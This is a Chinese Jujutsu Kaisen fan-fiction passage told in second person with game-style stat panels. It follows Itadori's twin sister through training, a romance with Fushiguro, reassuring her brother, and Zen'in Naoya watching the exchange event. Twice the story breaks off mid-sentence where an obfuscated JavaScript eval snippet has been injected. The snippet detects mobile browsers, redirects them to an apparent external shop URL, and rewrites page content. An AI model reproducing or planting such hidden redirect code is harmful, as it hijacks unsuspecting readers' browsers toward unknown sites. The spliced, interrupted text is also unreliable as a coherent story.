五条悟从口袋里掏出一样东西递给你,是个稻草扎的小玩偶,像小学生的课后作业,工艺粗糙。 【获得子护身符X1 效果:持有者受到一定程度的伤害时,伤害将反弹至母体持有者】 爱徒之心人皆有之,这是他特意从朋友手上买来的一对防护类咒具。 五条老师笑的像一只慈祥的老山猫,晃了晃手中另一个同色系稻草玩偶:“别弄丢了哦,幽花。” 你走进旧建场里,生平头一次看到战斗模式的哥哥。你看着他一拳砸在咒灵身上,那个像巨大爬虫的东西被打飞出去撞穿了墙壁。 很强,很厉害! 人类居然可以跳那么高,他跃起来的高度让你觉得牛顿的棺材板要压不住了。 你模仿着他的举动,效果显著! 正巧一只咒灵从你右侧的墙壁里钻出来,你学着哥哥的样子解决掉他。 另一只从头顶掉下来,你吓了一跳。 钢材崩塌的间隙悠仁才注意到你的身影,表情肉眼可见的速度变得慌张,进而愤怒,他认为自己被老师骗了,老师根本没好好看住幽花——悠仁这么想着朝你奔来。 头顶又有什么东西在松动,一块铁皮从高处脱落,朝你的方向砸下来,你的身体在它落下之前就开始移动,清脆的骨节扭动声在耳畔响起,你看着铁皮从你面前擦过去,边缘离你的鼻尖不到一掌的距离,差点破相哦,你心有余悸的抬了下右腿。 悠仁停在你面前,嘴唇都在发抖,大口的喘着气,他看起来后怕极了:“幽花!你——” “你怎么进来的”“你有没有受伤”“被五条老师耍了”“我没看住幽花”“她又自顾自作死了”种种念头在脑袋里回荡,硬是气的一句话没憋出来。 你从口袋里掏出那个丑兮兮的稻草人,成功平息哥哥的怒气。 后续是五条老师的右腿骨折了。 他的脸上难得露出几分茫然,像是没料到事态会这样发展,最后他叹了口气,语气有些无奈: “幽花,你还是要先学会掌握力道分寸啊。” 你被剥夺自由活动的权利,悠仁乐见其成。 【入学第三周】 午休,你坐在操场边的台阶上发呆。 你对伏黑惠没什么好感,但他对你很有兴趣。 “你在这里做什么?” “喝波子汽水。” 他没有走,站在距离你几步的地方双手插在口袋里。 他明里暗里地探究你的隐私和喜好,你面无表情地盯着他,直到他浑身发毛走开为止。通常他会先移开目光,然后过几秒又转回来,像什么也没发生过一样继续盯着你,来来回回几次才走远,你没见过这么难缠的人。 你把汽水喝完,站起身朝操场边的垃圾桶走,扔掉瓶盖后伸了个懒腰,慢悠悠的回教学楼。 悠仁不知道什么时候过来了,他探出手从背后揽过伏黑惠的肩膀,笑容爽朗,语气随意地说:“不要总盯着我妹妹看,我会怀疑你在打什么坏主意。” 但伏黑惠的身体微不可见地僵了一下,随后镇定道:“是因为你总关注幽花,才会注意到这点吧。”只不过他的语速比平时快了一点。 顿了顿,又淡淡补了一句:“比起我,你才更应该收敛。” 这些交谈你并不清楚,你正在思考要不要接着加速。 加速的坏处是,剧情会以风马牛不相及的速度朝预料之外的方向狂奔。 因为许多选择系统会默认同意,对话框在你还没来得及看清选项的时候就自动跳过,然后在某个不可跳过节点停下来,你只能茫然的看着这群npc正在吵什么。 不过主线还是无法强制跳过,系统会在那些关键剧情点停住等待你做选择。纠结了几秒,你点下加速。 【你的咒力在稳步增长中】 暑假,你与西宫桃见面,她长高了些,头发也长了点别再耳后,露出圆润的娃娃脸。 她看到你随身带的咒具,惊喜之下小心翼翼地说:“你在那里上学啊?” “东京都立咒术高等专门学校。”你像维基百科一般死板地复述出来。 西宫桃吸了一口气,接着大笑起来,她的直觉没出错,你们确实是同类,咒术师和咒术师之间就是会相互吸引。 她在咒高的姐妹校京都高专念学,每天做着类似的任务,没法及时回消息也是因为这个,她说那边的同学也很有趣,当然也有不好相处性格奇怪的人。 她告诉你:“咒术师这条道路很难走,但每个人都有自己为之走下去的信念,尽管痛苦,我也要坚持下去。不过嘛,要是日本咒术界再这么一直歧视女性咒术师,我可就干脆跑路不干咯。” 离别时,西宫桃亲了下你的脸颊轻声说:“我们交流会见,幽花。” 【好感度:西宫桃+15】 【获得西宫桃亲制护身符X3 可抵挡轻微攻击(消耗品)“我最近在学这个,做得不太好……你先拿着,万一有用呢。”】 【解锁姐妹交流会前置剧情】 期间,五条老师针对你进行了一番特训,在你们积极不懈的努力下,你的体质有所好转,你对事情发展隐约有所察觉。 【觉醒属性:感知 你能看到的东西更多了,听到更多声音,注意到更多微妙的细节,一切来自感知的回馈】 剧情稳步推进中—— 【玩家:虎杖幽花(上限为100点) 【生命值:60 【年龄:16岁 【状态:寻常(先天无痛觉症) 【感知:20 【天赋:天选之人好运伴身 【自理:40点(可增长) 【魅力:80点(可增长) 【体力:30,每行动一次减少3点 【咒力:55点 【术式:我身奉给(觉醒) 【咒具:蛇灵(强化型咒具一级可成长) 【特质:绝对支配者(未觉醒),有偿的温情(觉醒),万有引力(未觉醒) 【交谈记录1:来源虎杖悠仁 别跑太快,小心摔倒,你连受伤了都察觉不到的,不管别人怎么看你,你都是我的宝贝妹妹……所以,闯祸的事别告诉老爷子。 交谈记录2:来源虎杖悠仁 幽花,你不用刻意迎合任何人。 不用看别人脸色行事,不管怎么样我都站在你这边……微笑?不想笑就别笑了,这样也很好,你不用为了讨好谁而改变自己的样子。 交谈记录3:来源虎杖悠仁 忧虑?对,最近确实在烦恼,因为宿傩实在太烦了……默契?不不不,根本不存在那种东西,自从他敢对你说出那种话开始,就什么都没了,就把他当做身体的病灶就行……不要对他产生多余的好奇心。 交谈记录4:来源虎杖悠仁 惠真的好厉害啊,啊……直接称呼他的名字会不会不礼貌?算了没事的没事的,他本来就不会在意这些小细节。 哦对了,说到厉害,他的体术也太强了吧。你那天也亲眼看到了对吧?我当时真的都被吓了一大跳。 交谈记录5:来源钉崎野蔷薇 虎杖那家伙总是冒出几句神人言论,真是超级火大啊,尤其是他盯着你看的时候,我浑身都不舒服! 幽花,那家伙一直这样吗……别点头啊,从根源就不对劲吧! 交谈记录6:来源钉崎野蔷薇 还真是招人喜欢呢幽花,不过说真的,你这脸蛋确实可爱,完全可以出道啊! 说起这个还真让我窝火呢,上次在池袋被星探搭讪,居然说我是昭和时期的装扮!?去死啊魂淡!我们明明穿的是同色系姐妹装!我就是喜欢体验各种风格的服饰!又时髦又漂亮!怎么啦! 交谈记录7:来源钉崎野蔷薇 女孩子本来就不用刻意懂事,不想合群就不合群,有什么关系? 还有啊,之前说你“好弱鸡”……对不起,认真的啦,我才没有开玩笑,请你喝奶茶吧!怎么样! 咳咳咳……有时候呢我确实有点……不太合人心意,你能明白吧! 交谈记录8:来源钉崎野蔷薇 不幸的人做什么都该被原谅吗?那幸运的人就得被指指点点才满意? 别理会那些白痴的污言秽语,忮忌的臭味都快溢出脂肪了,你本身就足够耀眼,足够了不起了! 交谈记录9:来源伏黑惠 之前的事很抱歉……悠仁已经跟你说清了吗?那就好。 那么,我就直接明了的问你—— 为什么总是回避我?你应该明白吧,一年级生只有我们几个,总是这样特别对待我,我难免会感到不自在。 倒也不是难过……出任务的时候总有交集啊…… 交谈记录10:来源伏黑惠 咒术界本来就很残酷,你这种体质根本经不起折腾……没有嘲讽你的意思—— 抱歉……算了,不讲了。 …… 对不起。 交谈记录11:来源伏黑惠 我不会用普通的标准要求你,也不会随便同情你。只希望你能好好活着,不用勉强自己逞强……要不还是和你哥哥商量,做个普通人安稳度日吧,你不太适合咒术师这行当,老实说,他也应该这么想的。 交谈记录12:来源伏黑惠 虽然没什么表情,可你生气了,对吧?我的感觉不会出错。 交谈记录13:来源五条悟 哈哈哈,都是我可爱的学生呢,更何况你那么特别,教起来也很有意思呀。不用太拘谨,在我面前可以随心所欲一点哦,有我在都不用怕……是的哦,老师我就是这么好的人呀~ 交谈记录14:来源五条悟 体质当然是可以改变的,不过先要探寻你的极限在何处,制定出合适的训练计划。 稍有不慎就会悄悄累积损伤,等你觉察到已经晚了哦……身体可不是能随意更换的零件,别总是抱着无所谓的心态。 啧,老实说确实有点麻烦。 嘛……不过任何烦恼到了我这里都会迎刃而解,我可是有万能的硝子做后盾呢,哈哈……你在录音?没事的没事的,硝子才不在意这些小事。 哦……只是在接电话啊。 西宫? 好熟悉的姓氏。 交谈记录15:来源五条悟 那些被诅咒操控情绪的人何尝不是提线木偶,不过啊,就算没有诅咒也不见得世界太平吧,有些人就跟病菌一样死赖在人世,卑劣又低贱的活着……呃,不该和学生聊这些的,就当什么都没有听见吧幽花。 快去休息吧,你的体温有点高。 交谈记录16:来源五条悟 幽花,交流会即将到来哦!!! 去证明给所有人看吧,你的强大,你的光芒,谁都无法掩盖。 超级期待那天的到来呢~ …… …… 【16 岁】 你参加东京交流赛,一鸣惊人。 此后不再压抑自己的天赋,你的名字开始在咒术界流传。 那些你从未见过的咒术师,从未听说过的家族,他们的目光在同一时刻转向了你,有忮忌,有惊讶,有艳羡,也有贪婪。 你的名字不断出现在前辈和老师的口中,这一代的咒术界天才遍地,你和哥哥虎杖悠仁正是其中最耀眼的双子星,无数光环加之你们身上,同时也引来了暗处潮流涌动的恶意。 你没有做错什么,有些人的坏没有来由。 他们只想看你从高处坠落的惨状,不过,那些见不得光的东西想对你出手时,可要先问问你的老师。 五条悟,全日本最强的男人。 “天才总是和天才互相吸引。” 你说这话的时候五条老师翻了个白眼,不知道是对天才这词过敏,还是对你照搬jo系名言有意见。 接着,你补上后一句:“总有一天我要超越你。” “噢噢好棒哦幽花,那就加油吧。”他已经习惯了你时不时的下克上妄言。 “到时候你就能好好休息,享受自己的人生了。” 五条悟愣住,随即露出一个温软的笑,用力揉了揉你的脑袋,你的头发被揉的乱七八糟,刘海遮挡住视线。 “所以啊……在这群孩子里面才最喜欢你,总是在不经意间说些让人心软的话呢,明明刚入学时还是那副迟钝的水豚模样,转眼就变得这么机灵了……” 五条悟曾经相信过只要自己够强就行了。 可与生俱来的绝对力量,反倒让他愈发难以和旁人平等相待。直到挚友死去,他才彻底看清了高层把天才当耗品,看到天赋出众的年轻人如何被这腐朽的规则压垮、磋磨。 那一刻他终于彻悟:天才的使命从来不是独善其身,而是打破这套吃人的体系。一个人的强大毫无意义,只有培养出能并肩而立的下一代,才有重振咒术界的可能。于是五条悟走上了教育的道路。 他要亲手创造同伴,哪怕这份执念有些偏执,这条路是孤注一掷,他也义无反顾,一往无前。 精卫衔来西山的木石,日复一日地填向东海;西西弗斯推动着巨石,周而复始。世间所有人都在以自己的方式抗拒命运,从不在乎这份执念是否有宏大的意义和好结果。五条悟也一样,他不知道哪个学生能长成参天大树,但他就站在这里,在高专,守在他的学生们身侧,日复一日,不曾离开。 他绝不走,也绝不放手。 【五条悟好感+20 目前好感8 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550843|204332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0 感知+20 】 ———— “幽花也成长了不少呢。” “硝子说得对,我们应该多拍点照片留念的。” 幽花,悠仁口中脆弱到需要时时刻刻关注的妹妹。 你有时候很迟钝,行为异常,像一部只有录入和复述功能的机器,这样的孩子应付普通人生的课题足够了,可作为死亡率高居的咒术师实在堪忧。悟本来打算朝着辅助监督方面培养你,可你的术式,你所展露出的天分足够亮眼,他就想试一试。 或许幽花真的是天才呢。 索性他成功了。 你本就是一颗被砂砾掩埋的璀璨钻石,而五条悟便是那位用心雕琢你的切磨师,在这条修行道路上他功不可没,如今也该让这位独一无二的琢石师,好好为你骄傲一次! 你那恐怖的学习能力和特别的术式,就是你得天独厚的筹码,五条悟有预感,未来你会超越很多人。 也许你的成就会超越他,超越咒术界的任何人,他要亲眼看着你一步步踏上无人企及的顶峰。开辟出一条不属于任何人,只有你能走的道路! 【解锁头衔「我所期待的学生」】 ———— 【18岁】 你迎来了自己的青春期。 你终于理解西宫的少女心事,那些青涩懵懂,犹如半熟桃子般酸甜味道的恋情,正向你招手。 【恭喜玩家解锁 恋爱模式】 【检测到玩家可建立羁绊对象,要求:好感80 注意:羁绊对象大幅度影响剧情走向,请时刻存档 效果:体力恢复双倍,特质双倍加成,共同行动时不消耗体力 羁绊对象无人数限制 】 正巧伏黑惠路过,应该是刚训练完正赶着回去洗澡,几缕额发乱翘着,胸口微微起伏,灰头土脸的经过你身侧。 夏季的风从廊道灌进来,带着傍晚特有的热浪。 【叮—— 可建立羁绊对象:伏黑惠 好感85 是or否】 什么时候刷这么高的?你怎么不知道? 不过这个提示意味着…… 你点下按钮。 “我们交往吧,伏黑。” 你唇口微张,不受控制的吐出这几个字,语气平淡的像在闲聊,也没什么起伏。 他猛地愣住,眼底满是猝不及防的慌乱,红色从耳廓边缘烧起来蔓延到耳垂,然后沿着脸颊的轮廓往下爬,像熟透的虾子。 他张开口想说什么,汗水从额前滴落滚过眼皮。 夜风还在吹,夏虫不知疲倦的鸣叫。 吵得他心跳好乱,好烦,都听不清幽花刚才说了什么,所以……是听错了吧?不是一直很讨厌他吗?……吵死了。 他记得你和野蔷薇闲聊时说过,择偶对象是麦德森·米科尔森这类,成熟优雅,富有魅力,能为你处理好一切琐事的男人。 而伏黑整个人像沸水里刚捞出来,湿津津的站在里面前。 不体面,也毫无完美可言。 伏黑惠的唇变得干燥,他下意识抿了下,结果舔到了铁锈味,紧张之余他把下唇咬破了。 你持续盯着他—— 眼眸是剔透温润的琥珀色,瞳边绕着一圈浅浅的金纹,眼底带着少女独有的几分懵懂钝感,你歪了下脑袋,又重复了一遍方才的话: “交往吧,伏黑。” 两人距离骤然拉近,那双漂亮的眼眸猝不及防地撞入眼底。 伏黑下意识放轻呼吸,四目相对的瞬间,他显得慌乱又腼腆,可视线就是控制不住地黏在你身上,怎么都挪不开,喉结接连滚动了几下。 “砰——” 房门应声合上。 你后知后觉反应过来。 似乎……被拒绝了。 淦。 你伸出手敲了敲门—— 咚,咚,咚。 没有回应。 过了几秒后,你又敲了三下。 还是没有回应。 他就在门背后。 你的感知告诉你:伏黑的心跳很快,很急促。 但不知为何就是不肯出来,还装作屋子里没人的假象。 这很蠢,你和哥哥三岁后就不玩这种把戏了。 你掏出手机,划到聊天APP,忽视一行行未读消息,精准的伏黑惠专属的白狗头像点进去—— [幽花:我们交往吧,伏黑。] [2:55] _ 伏黑的手指从门把上滑下来,握着手机的手抖个不停。 这次不会错了,他在心里悄悄说。 门突然从里面打开。 “等我十分钟。” 他勾起唇角,说不上来是激动还是紧张。 “噢。” 你听到门内响起浴室的水花声,因为这次伏黑惠没有关门。 你们经常来伏黑的寝室聚餐玩游戏,许多联络情谊的活动都是在这里进行,他的单人宿舍几乎是你们一年级的公共活动区,桌子上整整齐齐摆着你们所有人的专属水杯,他会定时清洗。 可是此时,你没有随意踏进去。 你站在门外,等着他推门邀请。 这是必要环节,你非常享受这个过程。 就像秋收时的农户,静待猎物掉入陷阱的猎人,你胜券在握,嘴角情不自禁的浮现笑意。 因为你听到了,他紧张又急促的心跳声因你而加快。 你得到了想要的答案,在过高的好感下这个结果是自然导向,他的发梢还滴着水,头发乱翘着,有些毛躁。 他小心翼翼地牵住你的手,出于躁动的情绪,他的手有些抖,你用力回握住他,熟练地交握十指,给予他确认真实的勇气。 伏黑很高兴,露出一个过分纯粹的笑容。 幸福莫名其妙地来了,砸的他头晕目眩。 他忽然回忆起和你初见时,你穿着那身毛茸茸的睡衣打开门,就那么猝不及防地撞进他眼中,也是那样狼狈的画面,他还控制不住地淌着鼻血。如果是平时倒也不在意这些细节,可不知为何,他下意识拧过头粗鲁地擦干净才敢回看你。 ……随便悠仁发火吧,他受得住。 “好。”他轻轻说。 声音很小,又极快的补了句:“我明天会补上礼物,什么都可以,只要你喜欢……” “……” 倒也不必那么正式,不过你对道具来者不拒。 伏黑耳朵红的几乎能滴血。 诶,有点可爱。 原来伏黑不阴恻恻盯着人的时候,蛮讨人喜欢啊。 “那我回去了。”你说。 “嗯。” 你和伏黑交往的事情没有遮掩,同窗们很快就知道了。 野蔷薇挤眉弄眼的凑在你身边,她是个不喜欢吃窝边草的人,可也乐得见你陷入恋情的着迷模样,可过了没几天野蔷薇后知后觉的反应过来。 “陷入恋情的明明是伏黑啊……你怎么一点变化都没有。”她鼓起腮帮子,气愤地伸手戳你的脸颊,“你居然还能照常训练和他打招呼,害羞的反而是那家伙,还以为能看到不一样的幽花呢,结果根本没变化啊……幽花,恋爱不是这样子的,你彻底破坏了我对恋爱的粉色幻想!” 虎杖悠仁站在几步之外,手里拿着一瓶水,只不过那瓶水已经扭曲的看不出原样了,他的表情很恐怖。 虎杖悠仁陷入巨大打击,你在他的眼皮底下长大,他的视线就没要离开过你,明明对你那么关注,盯得那么紧,严防死守这么多年,到底是哪个环节出现问题了? 按部就班地训练,出任务,睡觉,你们几乎时时刻刻都在一起,然后在某个平凡的早晨突然听到你说:“哥哥,我和伏黑在交往。” 他紧紧拉着你的手,表情破碎:“幽花,早恋不好。” 他在期待里像小时候那样用“什么是独角仙”的单纯口吻追问他,然后他就可以解释种种坏处,然后你就会被说服,接着一切回到正轨。 可你说:“诶,我已经成年了呀。” “而且伏黑很可爱,作用也不错,和他在一起不管去哪里都行,完全感觉不到累呢。” 哦对,在日本十六岁就可以结婚了。 一系列话如同巨石般砸在悠仁的心上。 “这样啊……” 强烈情绪反扑下,他反倒莫名安静下来,透着一股诡异的平静,他平静的问出那个问题。 “你想和伏黑一直在一起吗?像和哥哥一样。” “比起我,你更喜欢和他待在一起吗?” 他早就做准备了。 做好被换掉的准备。 快点说出那句“哥哥,我不需要你了”他就可以名正言顺的生气发怒,以一个足够的理由来讨伐你。把那些深夜里的恐惧与忮忌,那些说不出口的占有欲全部倒出来,倒在你身上。 ‘不是我的错,爷爷,是幽花先放弃的,她率先离开了这个家。’ ‘我有好好照顾她哦。’ 虎杖的表情很平静,如同暴风雨来临前般死寂。 4. 第 4 章 你敏锐地察觉出悠仁情绪不对劲。 记忆里那个模糊的,太阳般温暖的小身影逐渐和眼前唇线紧绷,神色沉郁的少年身影重叠在了一起,金粉瞳孔里映着你的脸。 从小到大,你们从未分离,你见过他的所有样子,帅气的,狼狈的,搞笑的,还有惨兮兮哭泣时的模样,那些大大小小的回忆化作拼图,拼成了记忆里温暖的过往。 你早已把虎杖悠仁看做你的所有物,类似桌宠游戏里最受你喜欢的那只,你们互相陪伴冒险,进化升级。你确实习惯用高纬视角看待这一切,可你愿意从冗杂的文字剧情里捕捉他的情绪变化,品会他的感受,你愿意为他之痛苦驻足,为他之喜悦动容,这是赤裸裸的偏爱。 “从没有过。”你语气平淡地说,“你是我的哥哥,始终如一。” 他的表情一点点黯淡下去。 他说:“该去训练了。” 你看着他远去的背影,茫然地目光投向钉崎求助:“我说错什么了吗?” 钉崎眼神复杂,她叹了口气:“你说的那些话根本安慰不了悠仁啊,他是怕你慢慢不再需要他了啊。” “那我该怎么办?”你说。 “让他冷静冷静吧,过段时间就没事了。”她扔掉垃圾,挽着你的胳膊朝食堂走,“青春期就是这样的,朋友和恋人也分阶段性,小学的朋友,中学可能就不联系了。中学的朋友,毕业以后可能就散了,恋人也大抵如是,大家都有自己的路要走,走不到一起了就自然而然分开了,可亲人不同——” “不管你走到哪,变成什么样子,吵架也好分离也好,他还是你哥哥,你始终是他妹妹。等他自己想清楚就没事了。” 食堂里响起钉崎中期十足的声音:“大叔!来两份荞麦面!我的那一份不要加红姜片!谢谢!” 钉崎好聪明啊,听完这番话你豁然开朗。 “这顿我请你。”你说。 “宝贝,我爱死你了~” 钉崎开心地亲了下你的脸颊,像只甩着毛绒尾巴撒娇的野狸子。 —— 从食堂回到房间,换好运动服和等在门口的钉崎下楼训练。 天色慢慢暗下,结束后和钉崎结伴回了宿舍洗漱。 “他是怕你慢慢不再需要他。” 这句话在你脑子里转了一晚上。 你从床上坐起来,拖鞋都没穿好,踩着一只歪歪扭扭的鞋跟就出了门,走廊很安静,时而响起夏蝉的鸣叫。 你敲响了悠仁房间的门。 没等多久门从里面打开,悠仁正在听歌,脖颈挂着耳机,头发有些凌乱。 “怎么了?幽花。” 你弯腰从他胳膊下钻进房内,熟练地甩掉拖鞋盘腿坐在床上,抱过床头的抱枕把玩起来。 虎杖的电脑还亮着屏幕,音箱里正放着惠姨那首【call you tonight】 ,你爬过去,探起腰按下暂停键。 悠仁还站在门口,维持着开门的姿势,一只手搭在门把上,看着已经自然得像是回了自己房间的你,表情有点复杂。 “我们来聊聊天,虎杖悠仁。” 你拍拍床边的位置,语气认真。 幽花只有在说起自认为很重要的事时,才会这样直呼他的名字。 而被直呼全名的虎杖,只感觉脊背汗毛倒竖。 身后传来轻微的响动,房门被轻轻合上。 “悠仁,你以后想成为什么样的人?” “……啊?”他有点茫然。 你垂下眼眸,放缓语气说得更浅显直白:“就是,你想做成什么样的事,拿到什么样的成就?” “没怎么想过。”他的声音放的很低,像是在自言自语,“就……好好活着吧?” 他顿了顿,偏过头来看你。 “让你也自由的活着。” “我会比你们中的任何人都活得长久,活得快乐。”你的语气平静又笃定。 “可是你很脆弱,离不开我的保护,只要一点点外界的暴力,你就会被摧毁,” “为什么会对我抱有这种印象?” 悠仁失笑的摇头,没有多言。 “你是不是觉得我不行,觉得我走不了多远,成不了事,只是个只能待在原地向你救的笨蛋。” “我没有——”他抬起头想说什么,但对上你的视线之后,话就卡在喉咙里了。 “我很……强大。”你斟酌着语气开口,尽量不伤及他的自尊心,“曾经的我很脆弱,不那么坚强,时时刻刻都需要哥哥看顾着,可现在不一样,我长大了。” 悠仁听到这些话后情绪急转直下,逼得系统不断地亮警报。 “幽花,拜托了别说这话,我答应过爷爷要看好你,你需要我的,抱歉,我不该问那些问题,是我的错。” 你感到不忍,实在是他悲伤的表情太让人揪心。 那类似弃犬的可怜模样。 不对的,不该是这样…… 你明明最喜欢哥哥了。 你想起小时候他牵着你手在山林间找萤火虫,你们在林子里走了很久,天完全黑掉的时候才找到萤火虫的巢穴。还有邻家姐姐用水果刀雕苹果兔子,你站在旁边看了很久,回家之后拿了一个苹果和一把小刀,坐在厨房的地板上试着雕,刀划破了你的手指,血滴在苹果上,你没有痛感,但悠仁看到之后脸都白了。他蹲下来握住你的手把受伤的指头含在嘴里止血,含了很久,松开的时候手指上还有他的牙印。每一段回忆都好温暖,你超爱。 你轻轻抬手,捧住哥哥下颌。 他眼睛迷迷蒙蒙的,浸着水光,像喝醉的人说话也有些含糊,可乖巧的任由你抱着。 “是什么让你感到惶恐?“你问道,“告诉我。” “我没有别人了。”他艰难地说,“爷爷走之后,我只剩你了。” 你想说你还有老师,还有朋友,还有伏黑和钉崎,你从来不是一个人。可转头一想,他好像确实没什么能倾诉心事的对象,就这么忍到了现在。 但他没有给你说话的机会 “你还会长大,还会认识更多的人,去更远的地方。”他的语气很平静,“我怕到时候,我就不在你身边了。” 你说:“你多虑了,我哪儿也不去。” “真的?” “你是我哥,”你说,“你在哪儿我就在哪儿,这个不会变,不管长多大都不会变,我们一体同心,从很久前就是了。” 他偏过头看你,目光柔软极了。 “其实最难过的,是我在你心里不再是第一位。” “我们已经好久没有这么抱过了。” 过去的回忆像复古的老电影,在悠仁脑袋里上映,声音是清晰地,不管是他稚嫩的童音还是爷爷年迈的声音。 ‘幽花喜欢拥抱,要多抱抱她’ ‘喜欢吃桃子,每年都要买好多’ ‘你快点长大吧,悠仁,你要替我照顾她’ 爷爷的声音慢慢和悠仁的声音重叠,所以快点长大吧悠仁,变成无可挑剔的大人,去保护你的妹妹。 你与他的距离如此之近,可在虎杖看来还是遥远,始终不够贴近,心脏与心脏之间仍隔着一道距离,是他永远无法跨越的距离,而现在,那声音如同梦呓般依附于他耳侧,给予无上的勇气。 他的睫毛颤了一下,那双金粉色的瞳孔里映着你的脸,清晰的,完整的,没有一丝模糊。 你靠近他,同他额头相贴,学着自己年幼时安慰男孩的模样,轻声说:“我不会因为你平庸就疏远,也不会因为你耀眼就离开,我永远都在。” “真的吗,幽花。” “当然,”你指天画地,下达保证,“你永远是我的no1。” 当聒噪的声音从耳边消散,他的世界不在地动山摇。 悠仁如释重负的松了一口气。 他把你抱得更紧了一点,软声道:“我们永远是兄妹。” “嗯。” - “我想好了。” 第二天的操场,悠仁站到你面前。 忽略他眼底的青色,看起来精神极了。 “我不想成为什么英雄,也不想完成多耀眼的成就,我只想变强,好好守护身边的人,然后就是一直陪着你,永远站在你这边保护你的哥哥。” “只要幽花还需要我,我就一直在。” 悠仁的目光定定落在你身上,语气干净又郑重。 “嗯。” 时隔多日,虎杖终于解开心结。 你看了眼大跨步朝伏黑跑去的虎杖,微不可查的松了口气。 钉崎不知什么时候走到你旁边,抱着一盒草莓牛奶,懒洋洋地说:“哟,昨天晚上给你哥灌什么迷魂汤了?” “简单的聊了下。”你含糊其辞。 远处虎杖不知道说了什么,惹得伏黑往他脑袋上招呼。 虎杖也不躲揉着后脑勺嘿嘿笑,伏黑下意识地转头朝你这个方向看了一眼。 隔着半个操场,你都能看见他眼睛突然亮起的光。 你没有躲,嘴角没忍住弯了一下。 伏黑的耳根瞬间烧了起来。 有意思。 钉崎在你旁边咬吸管的咔嚓咔嚓声。 和手忙脚乱的伏黑对比,你显得冷静极了。 钉崎咂舌,语气里带着一种微妙的佩服:“小姐,你都没怎么动作,对面就溃不成兵了。”她有预感,这对分手后先上吊的绝对是伏黑。 你终于把目光从伏黑身上收回来,转身往训练场的方向走去。 “走了。”你说。 这种能左右他人情感的魔力,让你很是上瘾。 恋爱即使战争—— 你要从来只有一种结果,就是胜利。 钉崎愣了一下,赶紧跟上来:“哎,不看热闹了?” “没什么好看的。” 你走得不快,身后那道隔着半个操场的目光,在你转身的那一刻追了过来,落在你后脑勺上。 你没有回头。 不急。 - 细雨如刷子般落下。 禅院直哉带起兜帽,走在新宿的街上闲逛。 他懒得撑伞,也没多躲雨的心思。 行人匆匆从他身边走过。 天才分为两种:与生俱来的天赋者与后天的努力者。 血缘,家世,术式,都在为强者赋魅,他自认是前者。 努力也能超越他人,那我们这类强者的出生有什么用呢?每当听到这些话禅院直哉发自内心嘲笑,不过是安抚弱者的妄言罢了。 他从来都是正统的忠实拥护者,和所有氏族子弟抱着同一个共识:家族以外的咒术师的术式,都是野路子。 而这些年来经历的,认识的每一个平民咒术师都在验证他的想法。 ——不入流。 可在交流会上,他百无聊赖的一瞥,看见一对发色相同的兄妹吸引了他的注意力。 “宿傩的容器啊……” “是这个样子吗,情报应该没错。” 耳边传来叽叽喳喳的讨论声。 禅院直哉来了兴趣。 “是男的还是女的?”他指向那二人,询问身边的同行,“就是那个那个——宿傩附身的家伙?” “是男孩啊。”京都的咒术师有些无奈地说,“双生兄妹。” “这样啊……”直哉摩挲着下巴,居然笑起来,“那女孩子是不是也有成为容器的潜质呢?” 已经宣布比赛规则了,女孩仍是一脸状况外。 没有收集情报,也没有打量对手的意思。 看着蠢蠢的,一副开赛不到十分钟就会被淘汰的杂鱼样。 到底是那两头蠢货推荐她来参加的? 禅院直哉忍不住琢磨,东咒高果然没落了。 也许是注意到他毫不掩饰的目光,粉发男孩几步挡住女孩娇小的个头,头也没回,全然没把直哉放在心上。 那是出于本能的行为,直哉一瞬便了然。 太有意思了。 “不过您居然有空来交流会现场呢。” 交流会的全程是京都姐妹校交流会,每年一次为期三天的比赛。 “因为那个男人也来了啊。”直哉毫不在意的说着,“说不定能交手呢。” 身边人干笑了一声,显然不太想接这个话茬。 ——不管是五条家还是禅院家都是得罪不起的。 禅院直哉一副兴致缺缺的样子,观察场内的学生。 而那女孩始终垂着头,听着身边人有一搭没一搭的聊天。 有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550844|204332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊她的名字,“幽花?”直哉耳朵动了动,应该是这么念。 她才给了点回应。 一直临近比赛开始前,那女孩仍旧是那个样子。 - “来赌一赌吧,第一场团体战是那边胜出?” 说话的是个戴帽子的男人,笑容带着点玩世不恭的劲头。 “别让夜蛾校长听见啊……” 旁边的人压低声音,做了个噤声的手势。 “有什么关系,又没赌钱。” 有人凑过来跟直哉搭话,想和他拉进关系,可直哉注意力始终在另一个方向上,场地的另一头,那个白发的男人正懒洋洋地靠在椅子上,眼罩遮住半张脸。 “禅院君,要来玩玩吗,您更看好哪一边呢?这一届可是卧虎藏龙。” “您是京都毕业的吧,估计是支持母校吧哈哈。” 吵死了。 禅院直哉扣了扣耳朵,微笑着说:“滚开啊。” 那个凑上来搭话的人显然没料到会收到这样直接的回答,笑容僵在脸上。 他重新把手拢进袖子里,目光散漫地扫过场地。 刚才那人说的什么来着?卧虎藏龙? 呵。 五条悟正侧着头和旁边的学生说什么,嘴角挂着那种让直哉看了就心烦的笑容。 等等…… 他凝神一看,那女孩什么时候跑过去的? 那个叫幽花的少女…… 五条悟嘱托着什么,少女露出慢半拍的笑容。 紧接着,卸掉了腰间那个丑陋的稻草装饰物递过去。 “那是五条先生的学生。” “看着一副菜鸟样。”男人边笑边说,“听说是宿傩容器的妹妹,之前是个普通人。” “术式呢?” 